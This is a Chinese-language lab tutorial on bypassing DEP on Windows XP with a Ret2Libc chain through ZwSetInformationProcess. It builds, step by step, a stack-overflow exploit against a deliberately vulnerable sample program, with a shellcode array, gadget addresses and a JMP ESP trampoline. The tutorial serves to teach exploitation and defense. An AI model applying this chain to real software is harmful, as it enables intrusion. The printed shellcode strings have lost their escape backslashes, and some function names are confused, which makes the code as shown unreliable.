0x00 写在前面
三种绕过 DEP 的 exploit 方法:
- 通过跳转到 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行;
-
通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行;
- 通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行。
0x10 Ret2Libc 实战之利用 ZwSetInformationProcess
一个进程的 DEP 设置标识保存在 KPROCESS 结构中的 _KEXECUTE_OPTIONS 上,而这个标识可以通过API函数 ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。
由于自己构造参数调用 ZwQueryInformationProcess 函数会出现问题(包含 0x00 截断字符),所以直接利用系统中已存在的关闭进程 DEP 的调用,利用它构造参数来关闭进程的 DEP。
微软为考虑兼容性设置了 LdrpCheckNXCompatibility 函数,当符合以下条件之一时进程的 DEP 就会被关闭:
- 当 DLL 受 SafeDisc 版权保护系统保护时;
- 当 DLL 包含有.aspcak、.pcle、.sforce 等字节时;
- Windows Vista 下当 DLL 包含在注册表“HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionImage File Execution OptionsDllNXOptions”键下边标识出不需要启动 DEP 的模块时。
模拟第一种情况,首先来研究下 LdrpCheckNXCompatibility 关闭 DEP 的流程:
思路:
- 需要一个指令将 AL 修改为1;
- 转入 0x7C93CD24,调用 ZwQueryInformationProcess 关闭 DEP;
- RETN 4 后转到我们的shellcode 。
在下列代码基础上进行调试修改。利用最简单的缓冲区溢出的原理,覆盖掉函数 test() 的返回地址(181-184字节)
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90" ; void test() { char tt[176]; strcpy(tt,shellcode); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
Step1:将 AL 修改为1
使用 OllyFindAddr 插件的 Disable DEP→Disable DEP <=XP SP3 搜索,结果中的 Step2 部分就是类似 MOV AL, 1 RETN 的指令。
修改 shellcode 如下:
char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90" "x52xE2x92x7C"//MOV EAX,1 RETN地址 ;
Step2:转入 0x7C93CD24,调用 ZwQueryInformationProcess 关闭 DEP
charshellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"……" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"
"x90x90x90x90" "x52xE2x92x7C"//MOV EAX,1 RETN 地址 "x24xCDx93x7C"//关闭 DEP 代码的起始位置 ;
编译后在OD中重新加载程序,Ctrl + G 搜索指令 MOV EAX,1 RETN,断点执行后发现 EBP 在栈溢出的时候被冲刷了,因此无法继续执行关闭 DEP 的代码:
因此在转入 0x7C93CD24 之前,需要先将 EBP 指向一个可写的位置:
再次使用 OllyFindAddr 插件,在 Disable DEP <=XP SP3 搜索结果的 Setp3 部分查看类似PUSH ESP POP EBP RETN 的指令。
选用 0x5D1D8B85 处的 PUSH ESP POP EBP RETN 04 指令来修正 EBP,修改后的shellcode 如下:
char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90" "x52xE2x92x7C"//MOV EAX,1 RETN地址 "x85x8Bx1Dx5D" //修正 EBP "x24xCDx93x7C"//关闭 DEP 代码的起始位置 ;
重新编译后在 OD 中加载程序,在修正完 EBP 之后(即执行完 PUSH ESP POP EBP RETN 04 指令),程序成功转入 0x7C93CD24 关闭 DEP 代码的起始位置。
F8 单步调试至关闭 DEP 的函数 CALL ntdll.ZwSetInformationProcess,内存地址7C95683B处。[EBP-4] 中的内容已被修改为 0x22,满足关闭 DEP 的条件。
继续执行至ntdll.ZwSetInformationProcess 函数内,在 RETN 4 之后我们失去了程序的控制权。因此,分析断点 RETN 4 处的堆栈情况:ESP 指针指向 0x04(关闭 DEP 时 PUSH 4 操作冲刷的结果)
所以我们不能简单地在修正 EBP 后直接关闭 DEP,还需要对 ESP 或者 EBP 进行调整。
一般来说当 ESP 值小于 EBP 时,防止入栈时破坏当前栈内内容的调整方法不外乎减小 ESP 和增大 EBP。但由于 shellcode 位于内存低址,所以减小 ESP 可能会破坏 shellcode 的完整性,同时又找不到增大 EBP 的指令。
文中选用带偏移量的 RETN 指令来达到增大 ESP 的目的,让 EBP 和 ESP 之间的空间足够大,这样关闭 DEP 过程中的压栈操作就不会冲刷到 EBP 的范围内了。
补充:
- retn 操作:先 eip=esp,然后 esp=esp+4
- retn N 操作:先 eip=esp,然后 esp=esp+4+N
通过 OllyFindAddr 插件中的 Overflow return address-> POP RETN+N 选项来查找相关指令。文中建议:
- Count of POP = 0 (不能对 ESP 和 EBP 有直接操作,否则会失去对程序的控制权)
- Number of Return = 0x28
结果如下,选用 RETN 28 at 0x7c92d26c
重新布置 shellcode。注意:修正 EBP 指令返回时带有的偏移量(retn 4)会影响后续指令,所以我们在布置 shellcode 的时要加入相应的填充 "x90x90x90x90"。
char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90" "x52xE2x92x7C"//MOV EAX,1 RETN地址 "x85x8Bx1Dx5D" //修正 EBP "x6CxD2x92x7C" //增大 ESP "x90x90x90x90" "x24xCDx93x7C"//关闭 DEP 代码的起始位置 ;
RETN 0x28 执行前后堆栈变化情况:
ESP 从内存地址 0x13FEC0 增大到 0x13FEEC,可防止压栈对 ESP 的冲刷了。
同样单步调试至 RETN 4,堆栈情况如下,执行完 RETN 4 之后 ESP 将指向 0013FEC4。
使用跳板指令 JMP ESP 即可重新控制跳转了。
0013FEBC 处的 “90909090” 为增大 ESP 后的填充指令,下一步将其改为 JMP ESP 指令。同样 OllyFindAddr 插件中的Overflow return address→Find CALL/JMP ESP 查找:
选用 JMP ESP at 0x7dd3b1b7,修改 shellcode 如下:
char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90" "x52xE2x92x7C"//MOV EAX,1 RETN地址 "x85x8Bx1Dx5D" //修正 EBP "x6CxD2x92x7C" //增大 ESP "xB7xB1xD3x7D" //jmp esp "x24xCDx93x7C"//关闭 DEP 代码的起始位置 ;
Step4:RETN 4 后转到我们的shellcode。
在执行完 RETN 4 之后的 ESP 地址 0013FEC4 处放置一个长跳指令,让程序跳转到 shellcode 的起始位置来执行 shellcode。
根据 shellcode 的内存布局,可得 0013FEC4 至 shellcode 起始位置有 200 个字节。因此跳转指令长度为 205 个字节(200 + 5),其余用 x90 填充,最终 shellcode 构造如下:
char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90" "x52xE2x92x7C"//MOV EAX,1 RETN地址 "x85x8Bx1Dx5D" //修正 EBP "x6CxD2x92x7C" //增大 ESP "xB7xB1xD3x7D" //jmp esp "x24xCDx93x7C"//关闭 DEP 代码的起始位置 "xE9x33xFFxFF" //回跳指令 "xFFx90x90x90" ;
成功运行。
借鉴下博客 https://www.cnblogs.com/exclm/p/4006716.html 中对本次实验的总结:
1. 修改寄存器状态,欺骗系统函数关闭 DEP
2. 调用系统函数的过程中,通过跳板、retn等调整寄存器数值(ebp、esp)以保证函数正常执行的变通技巧
实际高度代码并关注寄存器的变化十分重要!